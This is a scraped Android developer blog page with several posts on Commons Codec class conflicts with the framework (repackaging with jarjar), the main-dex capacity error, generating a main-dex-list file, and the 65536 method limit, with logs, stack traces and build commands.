<b>OK, so can I use framework's Commons Codec library in my application?</b><br />
<br />
Unfortunately <i>no</i>. This API is hidden and not exposed in <span style="color: #ea9999;">Android SDK</span> for application developers. You can invoke the library's classes using reflection of course, but by doing so you take the risk of relying on undocumented APIs, which is not recommended at all.<br />
<br />
<br />
<a name='more'></a><b>What is the version of Commons Codec library that shipped with Android framework?</b><br />
<br />
<a href="https://commons.apache.org/proper/commons-codec/changes-report.html#a1.3" target="_blank">Version 1.3</a> (released in July, 2004), but without <span style="color: #ea9999;">org.apache.commons.codec.digest.DigestUtils</span> class.<br />
<br />
<br />
<b>What's wrong with including more advanced version (i.e. v1.9) as a library in my application?</b><br />
<br />
Your application's <span style="color: #ea9999;">Commons Codec</span> classes will collide with those that are loaded as part of the framework. The <a href="http://www.netmite.com/android/mydroid/dalvik/docs/dexopt.html" target="_blank">dexopt</a> process will identify conflicts and won't allow loading your classes.<br />
<br />
Fortunately, for each such conflict <span style="color: #ea9999;">dexopt</span> will print a warning to <span style="color: #ea9999;">logcat</span> (when using <span style="color: #ea9999;">Dalvik</span> runtime; on <span style="color: #ea9999;">ART</span> those logs are omitted for some reason):<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/Decoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/DecoderException;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/Encoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/EncoderException;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/StringEncoderComparator;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/DoubleMetaphone$DoubleMetaphoneResult;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/SoundexUtils;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/net/RFC1522Codec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/BinaryDecoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/BinaryEncoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/StringDecoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/StringEncoder;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/binary/BinaryCodec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/binary/Hex;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/DoubleMetaphone;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/Metaphone;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/RefinedSoundex;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/language/Soundex;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/net/BCodec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/net/QCodec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/net/QuotedPrintableCodec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/net/URLCodec;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: 'Lorg/apache/commons/codec/binary/Base64;' has an earlier definition; blocking out<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/Decoder;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/DecoderException;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/Encoder;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/EncoderException;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/StringEncoderComparator;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/binary/Hex;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/DoubleMetaphone$DoubleMetaphoneResult;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/SoundexUtils;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/net/RFC1522Codec;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/DecoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/BinaryDecoder;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/BinaryEncoder;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/StringDecoder;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/StringEncoder;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/binary/Base64;'<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/binary/Base64;'<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/binary/Base64;'<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/DecoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/binary/BinaryCodec;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/binary/Hex;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/DoubleMetaphone;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/Metaphone;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/RefinedSoundex;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/language/Soundex;': multiple definitions<br />
I/dalvikvm? DexOpt: not resolving ambiguous class 'Lorg/apache/commons/codec/EncoderException;'<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/net/BCodec;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/net/QCodec;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/net/QuotedPrintableCodec;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/net/URLCodec;': multiple definitions<br />
D/dalvikvm? DexOpt: not verifying/optimizing 'Lorg/apache/commons/codec/binary/Base64;': multiple definitions</i></span></blockquote>
<br />
Even if you're compiling against newer <span style="color: #ea9999;">Commons Codec</span> version, your application will use framework's version 1.3 classes at runtime. This happens because version 1.3 classes exist in boot classpath, and therefore classloader will always load them in preference to the version you've packaged in your application.<br />
<br />
That said, everything may work well if you don't use functionality that was introduced in version 1.4 or later. <i>But what if you do use?</i> For example, version 1.4 introduced new method -<a href="http://commons.apache.org/proper/commons-codec/apidocs/org/apache/commons/codec/binary/Base64.html#encodeBase64String(byte[])" target="_blank">Base64#encodeBase64String</a>. If I'll add dependency to <span style="color: #ea9999;">Commons Codec</span> 1.9 and call this method in my application, the compiler won't complain. But executing this code on the device will produce the following runtime exception:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>18917-18917/info.osom.sandbox E/AndroidRuntime? FATAL EXCEPTION: main<br />
Process: info.osom.sandbox, PID: 18917<br />
java.lang.NoSuchMethodError: org.apache.commons.codec.binary.Base64.encodeBase64String<br />
at info.osom.sandbox.MainActivity.onCreate(MainActivity.java:48)<br />
at android.app.Activity.performCreate(Activity.java:5231)<br />
...<br />
at dalvik.system.NativeStart.main(Native Method)</i></span></blockquote>
I copied the above error log from a device running <span style="color: #ea9999;">KitKat </span>with <span style="color: #ea9999;">Dalvik</span>. <span style="color: #ea9999;">Lollipop</span>'s (with <span style="color: #ea9999;">ART</span>) error is a bit more verbose:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>898-898/info.osom.sandbox E/AndroidRuntime? FATAL EXCEPTION: main<br />
Process: info.osom.sandbox, PID: 898<br />
java.lang.NoSuchMethodError: <b>No static method encodeBase64String([B)Ljava/lang/String; in class Lorg/apache/commons/codec/binary/Base64; or its super classes (declaration of 'org.apache.commons.codec.binary.Base64' appears in /system/framework/ext.jar)</b><br />
at info.osom.sandbox.MainActivity.onCreate(MainActivity.java:48)<br />
at android.app.Activity.performCreate(Activity.java:5990)<br />
...<br />
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)</i></span></blockquote>
<br />
<br />
<b>So what shall I do?</b><br />
<br />
You can avoid the aforementioned conflicts by changing the classes namespace, that is, the <span style="color: #ea9999;">Commons Codec</span> package. Either:<br />
<ul>
<li>do it manually - grab the <span style="color: #ea9999;">Commons Codec</span> (version 1.9 for example) sources and then refactor the code by changing the package name (you can find an example for someone who took this approach <a href="http://blog.goddchen.de/2013/03/apache-commons-codec-android-compatible" target="_blank">here</a>); </li>
<li>or repackage the official release jar file using <a href="https://code.google.com/p/jarjar/" target="_blank">jarjar</a> tool</li>
</ul>
<span style="color: #ea9999;">jarjar</span> basically allows to alter the bytecode according to specified rules. One of the available rules provides the ability to rename class names. Here's an example for repackaging version 1.9 of <span style="color: #ea9999;">Commons Codec</span>:<br />
<br />
Get the latest <span style="color: #ea9999;">jarjar</span> jar from <a href="https://code.google.com/p/jarjar/downloads/list" target="_blank">here</a>, and run (I'm using jarjar-1.4) this command in terminal:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">java -jar jarjar-1.4.jar process commons-codec.rules commons-codec-1.9.jar commons-codec-1.9-rep.jar</span></blockquote>
where <span style="color: #ea9999;">commons-codec.rules</span> is a plain text file with the following single line:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">rule org.apache.** android.org.apache.@1</span></blockquote>
This rule (see more on rules <a href="https://code.google.com/p/jarjar/wiki/CommandLineDocs#Rules_file_format" target="_blank">here</a>) tells the <span style="color: #ea9999;">jarjar</span> tool to add <i><span style="color: #ea9999;">android</span></i> prefix to all the class names within <i><span style="color: #ea9999;">org.apache</span></i> package, and put those classes in a new jar called <span style="color: #ea9999;">commons-codec-1.9-rep.jar</span>. For example, <i><span style="color: #ea9999;">org.apache.commons.codec.binary.Base64</span></i> class will be renamed to <i><span style="color: #ea9999;">android.org.apache.commons.codec.binary.Base64</span></i>.<br />
<br />
Add the repackaged jar to your application instead of original <span style="color: #ea9999;">Commons Codec</span> jar. This will allow both framework's Base64 class and your (newer version) Base64 class to coexist within application.<br />
<br />
You can even create automated task and use it as part of your build process: check out the <a href="https://github.com/vRallev/jarjar-gradle" target="_blank">jarjar-gradle</a> plugin for <span style="color: #ea9999;">Gradle </span>or even <a href="http://priyanka-tyagi.blogspot.co.il/2013/03/dealing-with-java-hell-using-jarjar.html" target="_blank">this task</a> if you still use <span style="color: #ea9999;">ant</span>.Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com10tag:blogger.com,1999:blog-2077468458710225908.post-84473623116938211142014-12-06T15:01:00.000+02:002016-07-01T16:11:42.353+03:00Too many methods in main-dex?<i><span style="color: #ea9999;">Notes:</span></i><br />
<i><span style="color: #ea9999;">1. The content of this post is relevant only if your minSdk < 21. On Lollipop, no ClassLoader patching required.</span></i><br />
<i><span style="color: #ea9999;">2. This solution worked for me well, but it might not work for you in the same way. So please use it on your own risk. Nevertheless, I would be happy to know of your problems - so please post in comments!</span></i><br />
<br />
<br />
Right after the release of <a href="http://blog.osom.info/2014/10/multi-dex-to-rescue-from-infamous-65536.html" target="_blank">multidex support</a> we removed our custom solutions (for 64k methods problem) in favor of multidex support library. Gradle for Android plugin v0.14.0+ simplified the process even more - it implemented all the manual tasks (I wrote about some of them in my <a href="http://blog.osom.info/2014/10/generating-main-dex-list-file.html" target="_blank">previous</a> post) that we had to do previously.<br />
<br />
Lately we encountered another issue: we have reached the 64k methods limit in <i><span style="color: #ea9999;">main dex</span></i> as well. It comes in form of the following error when we're building our project:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>UNEXPECTED TOP-LEVEL EXCEPTION:<br />
com.android.dex.DexException: Too many classes in --main-dex-list, main dex capacity exceeded<br />
at com.android.dx.command.dexer.Main.processAllFiles(Main.java:494)<br />
at com.android.dx.command.dexer.Main.runMultiDex(Main.java:332)<br />
at com.android.dx.command.dexer.Main.run(Main.java:243)<br />
at com.android.dx.command.dexer.Main.main(Main.java:214)<br />
at com.android.dx.command.Main.main(Main.java:106)</i></span></blockquote>
You can say: man, something is wrong with your design if you're having such a problem!<br />
Well, you are quite right, and we're thinking hard on how to split various features of our application into separate apps. But for short-term, we had to find a solution for this specific issue.<br />
<br />
<br />
<a name='more'></a><b>So what is main dex, and which classes it must include?</b><br />
<br />
On application start, the default <span style="color: #ea9999;">ClassLoader</span> has a single entry in its path - <span style="color: #ea9999;">classes.dex</span> file. It is also called the <i>main dex</i>. To support more than one dex file, the multidex support library implemented runtime patching of <span style="color: #ea9999;">ClassLoader</span>'s path. This code should run as soon as you have the application context (the perfect place for it is in <a href="http://developer.android.com/reference/android/content/ContextWrapper.html#attachBaseContext(android.content.Context)" target="_blank">Application#attachBaseContext</a> method).<br />
<br />
Therefore, the <span style="color: #ea9999;">Application</span> class should be definitely included in the main dex, since it should already be present when you patching the <span style="color: #ea9999;">ClassLoader</span>.<br />
<br />
Any other classes must be included? Yes. There's a thing called <a href="https://android.googlesource.com/platform/dalvik/+/master/docs/verifier.html" target="_blank">Dalvik verifier</a> that has complex rules for determining inappropriate bytecode. For example, before loading the <span style="color: #ea9999;">Application</span> class, VM verifier performs its checks and if it finds a field whose type it can't resolve (yet), it will not allow to run instruction that accessing this field, even if at that point of time we already patched the <span style="color: #ea9999;">ClassLoader</span> and the class could be resolved.<br />
<br />
Therefore, as a rule of thumb, all the <span style="color: #ea9999;">Application</span>'s direct reference hierarchy should be included in main dex as well.<br />
<br />
<br />
<b>Which classes android-gradle-plugin adds to main dex?</b><br />
<br />
The <span style="color: #ea9999;">collect[debug/release]MultiDexComponents</span> task generates all the <i>root classes</i>, and then the <span style="color: #ea9999;">create[debug/release]MainDexClassList</span> task calculates entire reference hierarchy for each <i>root class</i>.<br />
<br />
Which classes are considered as <i>roots</i>? Well, the <a href="https://android.googlesource.com/platform/tools/base/+/gradle_1.0.0/build-system/gradle/src/main/groovy/com/android/build/gradle/internal/tasks/multidex/CreateManifestKeepList.groovy" target="_blank">task</a> runs through every single component in the application's manifest file and adds every <span style="color: #ea9999;">application, service, receiver, provider, instrumentation</span> to the <i>roots list</i>. Additionally, <a href="http://developer.android.com/reference/android/app/backup/BackupAgent.html" target="_blank">BackupAgent</a> and all the annotation classes added as roots as well.<br />
<br />
<br />
<b>Our problem & solution</b><br />
<br />
The result for us was that according to these (plugin-defined) rules, large portion of our application code had to be placed into <i>main dex</i>. And this eventually triggered the <span style="color: #ea9999;">main dex capacity exceeded</span> build error.<br />
<br />
In attempt to understand why, according to plugin configuration, all non-<span style="color: #ea9999;">Application </span>components are required to be included in main dex, I posted a <a href="https://groups.google.com/d/msg/adt-dev/iE7VyKG7HmM/JkFMdTNx65wJ" target="_blank">question</a> in adt-dev group, but received no answer yet.<br />
<br />
To overcome the aforementioned build error, we removed all the activities from the <i>roots </i>list. The build passed successfully. We performed many tests - so far, this change didn't introduced any runtime errors.<br />
<br />
In order to remove the activity roots we just patched the plugin's <a href="https://android.googlesource.com/platform/tools/base/+/gradle_1.0.0/build-system/gradle/src/main/groovy/com/android/build/gradle/internal/tasks/multidex/CreateManifestKeepList.groovy" target="_blank">CreateManifestKeepList</a> task (contributed by <a href="https://twitter.com/arihav" target="_blank">Ariel Cabib</a>):<br />
<br />
<script src="https://gist.github.com/alipov/3f8ae7d1770543436ad0.js"></script><br />
I also published a sample project that demonstrates the issue (and contains the plugin patching). Check it out here:<br />
<a href="https://github.com/alipov/main-dex-too-many-methods">https://github.com/alipov/main-dex-too-many-methods</a><br />
<br />
<br />
<hr />
<br />
<i><span style="color: #ea9999;"><b>[Update - 4/8/2016]:</b></span></i><br />
<br />
Version 2.0.0 of Android Gradle plugin broke the patch code. There were a <a href="https://android.googlesource.com/platform/tools/base/+/66327182094a29999fd00d4ec82bb246de9bb145%5E%21/build-system/gradle-core/src/main/groovy/com/android/build/gradle/internal/tasks/multidex/CreateManifestKeepList.java" target="_blank">few changes</a> in <span style="color: #ea9999;">CreateManifestKeepList</span> task - mainly the task was converted from using Groovy to Java. The <span style="color: #ea9999;">KEEP_SPECS</span> static member that I was patching previously was converted to a <span style="color: #ea9999;">ImmutableMap</span>, which throws an <span style="color: #ea9999;">UnsupportedOperationException</span> when calling its <a href="http://docs.guava-libraries.googlecode.com/git/javadoc/com/google/common/collect/ImmutableMap.html#remove(java.lang.Object)" target="_blank">remove</a> method:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">private static final Map<string string=""> KEEP_SPECS = ImmutableMap.<string string="">builder()</string></string></span><br />
<span style="font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>...</span><br />
<span style="font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>.put("activity", DEFAULT_KEEP_SPEC)</span><br />
<span style="font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>...</span><br />
<span style="font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>.build();</span></blockquote>
<br />
I had to update the patch, and did it in the following way:<br />
<br />
<script src="https://gist.github.com/alipov/e2e1753e2974893becdee8bdb9381444.js"></script><br />
I've also updated the sample project - added a fix on a separate branch (plugin-v2):<br />
<a href="https://github.com/alipov/main-dex-too-many-methods/tree/plugin-v2">https://github.com/alipov/main-dex-too-many-methods/tree/plugin-v2</a><br />
<br />
<hr />
<br />
<i><span style="color: #ea9999;"><b>[Update 2 - 7/1/2016]:</b></span></i><br />
<i><span style="color: #ea9999;"><b><br /></b></span></i>
Version 2.2.0-alpha4 of Android Gradle plugin (with build-tools v24) fixes it by generating <a href="https://code.google.com/p/android/issues/detail?id=209084#c8" target="_blank">minimal multidex keep list</a>. I've updated the sample project - now the build succeeds without any custom logic:<br />
<a href="https://github.com/alipov/main-dex-too-many-methods/tree/plugin-v2.2.0-alpha4">https://github.com/alipov/main-dex-too-many-methods/tree/plugin-v2.2.0-alpha4</a>Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com33tag:blogger.com,1999:blog-2077468458710225908.post-58096627679888964952014-10-24T22:22:00.000+03:002014-11-01T00:25:42.083+02:00Generating main-dex-list file<div class="tr_bq">
<i><span style="color: #ea9999;"><b>[Update - 10/31/2014] </b>Gradle plugin v0.14.0 for Android adds support for Multi-Dex. Everything that is written below is now done automatically. All you need to do is to add this line in your build.gradle file:</span></i><br />
<i><span style="color: #ea9999;">android {</span></i><br />
<i><span style="color: #ea9999;"> defaultConfig {</span></i><br />
<i><span style="color: #ea9999;"> ...</span></i><br />
<i><span style="color: #ea9999;"> <b>multiDexEnabled = true</b></span></i><br />
<i><span style="color: #ea9999;">}</span></i><br />
<br />
In my <a href="http://blog.osom.info/2014/10/multi-dex-to-rescue-from-infamous-65536.html" target="_blank">previous post</a> I described the 65536 methods issue and how to solve it using <i>multi-dex </i>technique. In overall, this solution is pretty straightforward - you tell <span style="color: #ea9999;">dx</span> to operate in multi-dex mode, and add the multi-dex support library to patch the <span style="color: #ea9999;">ClassLoader</span> on application start-up.</div>
<br />
The only tricky part is the <span style="color: #ea9999;">main-dex-list</span> file that specifies all the classes that you want to be included in the main dex file. <span style="color: #ea9999;">dx</span> takes this file as a parameter and generates appropriate dex files.<br />
<br />
Failing to keep required classes in the main dex file will produce the following runtime exception:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>java.lang.RuntimeException: Unable to instantiate application info.osom.multidex2.Application: java.lang.ClassNotFoundException: Didn't find class "info.osom.multidex2.Application" on path: DexPathList[[zip file "/data/app/info.osom.multidex2-1.apk"],nativeLibraryDirectories=[/data/app-lib/info.osom.multidex2-1, /vendor/lib, /system/lib]]<br />
..<br />
Caused by: java.lang.ClassNotFoundException: Didn't find class "info.osom.multidex2.Application" on path: DexPathList[[zip file "/data/app/info.osom.multidex2-1.apk"],nativeLibraryDirectories=[/data/app-lib/info.osom.multidex2-1, /vendor/lib, /system/lib]]<br />
at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)<br />
at java.lang.ClassLoader.loadClass(ClassLoader.java:497)<br />
at java.lang.ClassLoader.loadClass(ClassLoader.java:457)</i></span></blockquote>
Now, you may ask, which exact classes should be included in main dex file? And if I have many classes, do I need to write all those class names by hand?<br />
<br />
<a name='more'></a>I had no clear answer to those questions, so I took a further look on dx source code. Thanks God (and Google) it's open source :)<br />
<br />
After searching a bit, I found <a href="https://android.googlesource.com/platform/dalvik/+/2bb6fe45bf620525ba34bd7303d7ecb597aa0689" target="_blank">this commit</a>, whose descriptions says:<br />
<blockquote>
<span style="font-size: x-small;"><i>Introduction of a tool to find main dex classes.<br />
This is for legacy application wanting to allow --multi-dex on dx and load the multiple files using the com.android.multidex.installer library. The mainDexClasses script will provide the content of the file to give to dx in --main-dex-list.</i></span></blockquote>
Seems like there's a script (called <span style="color: #ea9999;">mainDexClasses</span>) that generates the exact class names that should be included in main-dex-list file!<br />
<br />
<i><b>Important note:</b> use it at your own risk. This script is not officially released, and I haven't found any references in the Internet. It worked for me well, but if you encountered any bugs - I would love to hear!</i><br />
<br />
The script (comes in two versions - bash script and Windows's batch) is located in <a href="https://android.googlesource.com/platform/dalvik/+/master/dx/etc/" target="_blank">/dx/etc</a> folder. Download two files from there - <span style="color: #ea9999;">mainDexClasses </span>(or mainDexClasses.bat for Windows) and <span style="color: #ea9999;">mainDexClasses.rules</span>. Place both files in your /sdk/build-tools/[build-tools-version] folder. The minimum supported build-tools version is 20 (I will explain later why).<br />
<br />
Invoking the script without parameters echoes its usage:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>Usage : mainDexClasses [--output <output file>] <application path></i></span></blockquote>
Output file is obviously your main-dex-list. The second parameter (application path), requires to specify all the zip files and directories (separated by path separator) that <span style="color: #ea9999;">dx</span> receives as input. To find the paths for your project, run <span style="color: #ea9999;">gradlew </span>with <span style="color: #ea9999;">--info</span> parameter:<br />
<blockquote class="tr_bq">
<i>gradlew clean assembleDebug --info</i></blockquote>
and find the command for your <span style="color: #ea9999;">dexDebug </span>task. For example (relevant jars and directories coloured):<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>All input files are considered out-of-date for incremental task ':app:dexDebug'.</i></span><br />
<span style="font-size: x-small;"><i>command: dx.bat --dex --num-threads=4 --multi-dex --main-dex-list=D:\multidex2\app/multidex.keep --output D:\multidex2\app\build\intermediates\dex\debug <span style="color: #ea9999;">D:\multidex2\app\build\intermediates\classes\debug D:\multidex2\app\build\intermediates\dependency-cache\debug D:\multidex2\app\libs\android-support-multidex.jar</span></i></span></blockquote>
Note that the script expects class files within jar. By default, <span style="color: #ea9999;">preDexDebug</span> task is enabled, and it turns all the dependencies into dex files. Therefore, you have to disable library pre-dexing, by specifying <i><span style="color: #ea9999;">dexOptions.preDexLibraries = false</span></i>.<br />
<br />
The <span style="color: #ea9999;">mainDexClasses</span> script does two things.<br />
<br />
First, it invokes proguard to shrink all the classes according to rules defined in <span style="color: #ea9999;">mainDexClasses.rules</span> file (we downloaded it previously, remember?):<br />
<blockquote class="tr_bq">
<i>call "%proguard%" -injars %params% -dontwarn -forceprocessing -outjars "%tmpJar%" -libraryjars "%shrinkedAndroidJar%" -dontoptimize -dontobfuscate -dontpreverify -include "%baserules%" 1>nul</i></blockquote>
The <span style="color: #ea9999;">%params%</span> (-injars parameter) is the second parameter<application path=""> that the script receives. The script expects to find <span style="color: #ea9999;">shrinkedAndroid.jar</span> in /sdk/build-tools/[build-tools-version]/lib folder. There's no file with such name there, so to make it work I copied the <span style="color: #ea9999;">android.jar</span> from /sdk/platforms/[api-version] and renamed it to shrinkedAndroid.jar.</application><br />
<br />
Secondly, the script invokes <span style="color: #ea9999;">dx.jar</span>'s <a href="https://android.googlesource.com/platform/dalvik/+/master/dx/src/com/android/multidex/ClassReferenceListBuilder.java" target="_blank">com.android.multidex.ClassReferenceListBuilder</a> class. This is a command-line utility that described as following:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>This is a command line tool used by mainDexClasses script to find direct class references to other classes. First argument of the command line is an archive, each class file contained in this archive is used to identify a class whose references are to be searched, those class files are not opened by this tool only their names matter. Other arguments must be zip files or directories, they constitute in a classpath in with the classes named by the first argument will be searched. Each searched class must be found. On each of this classes are searched for their dependencies to other classes. Finally the tools prints on standard output a list of class files names suitable as content of the file argument --main-dex-list of dx.</i></span></blockquote>
The description is self-explanatory, so I have nothing to add here. This class was added to <span style="color: #ea9999;">dx.jar</span> in build-tools 20 (and yes, this is why it is a minimum supported version).<br />
<br />
Last thing is to invoke the script:<br />
<blockquote class="tr_bq">
<i>mainDexClasses.bat --output mutlidex.keep "D:\multidex2\app\build\intermediates\classes\debug;D:\multidex2\app\build\intermediates\dependency-cache\debug;D:\multidex2\app\libs\android-support-multidex.jar"</i></blockquote>
.. and this is the output:<br />
<br />
<script src="https://gist.github.com/alipov/ea0356dc80fa6ec72a68.js"></script><br />
As expected!<br />
<br />
Last notes:<br />
<ul>
<li>As this script relies on Proguard, it naturally won't keep your classes that are being invoked via reflection API - you will have to add them manually</li>
<li>The generation of course can be simply extracted into a gradle task that runs before <span style="color: #ea9999;">dexDebug</span> task. I will post example project in the near future, so stay tuned!</li>
</ul>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com16tag:blogger.com,1999:blog-2077468458710225908.post-22805991710197033472014-10-04T22:05:00.000+03:002014-11-03T22:24:29.579+02:00Multi-dex to rescue from the infamous 65536 methods limitYou landed on this page because you've probably received the following stack trace when you tried to build your Android project:<br />
<blockquote class="tr_bq">
<span style="font-family: inherit; font-size: x-small;"><i>UNEXPECTED TOP-LEVEL EXCEPTION:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>java.lang.IllegalArgumentException: method ID not in [0, 0xffff]: 65536<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.merge.DexMerger$6.updateIndex(DexMerger.java:501)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.merge.DexMerger$IdMerger.mergeSorted(DexMerger.java:282)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.merge.DexMerger.mergeMethodIds(DexMerger.java:490)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.merge.DexMerger.mergeDexes(DexMerger.java:167)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.merge.DexMerger.merge(DexMerger.java:188)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.command.dexer.Main.mergeLibraryDexBuffers(Main.java:439)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.command.dexer.Main.runMonoDex(Main.java:287)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.command.dexer.Main.run(Main.java:230)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.command.dexer.Main.main(Main.java:199)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at com.android.dx.command.Main.main(Main.java:103)</i></span></blockquote>
or this stack trace if you're using <span style="color: #ea9999;">dx</span> version 1.8 (shipped with SDK build tools 19.0 and above):<br />
<blockquote class="tr_bq">
<span style="font-family: inherit; font-size: x-small;"><i>trouble writing output: Too many method references: [num of methods]; max is 65536.</i></span><br />
<span style="font-family: inherit; font-size: x-small;"><i>You may try using --multi-dex option.</i></span></blockquote>
If this is the first time you see this message, then you'll be surprised to know that Dalvik bytecode has a fundamental limitation which allows to invoke a maximum of 2^16 (65536) methods (per dex file). One glance on a list of StackOverflow <a href="http://stackoverflow.com/search?q=dex+method+limit" target="_blank">questions on this topic</a> is enough to realize how painful this limitation for us.<br />
<br />
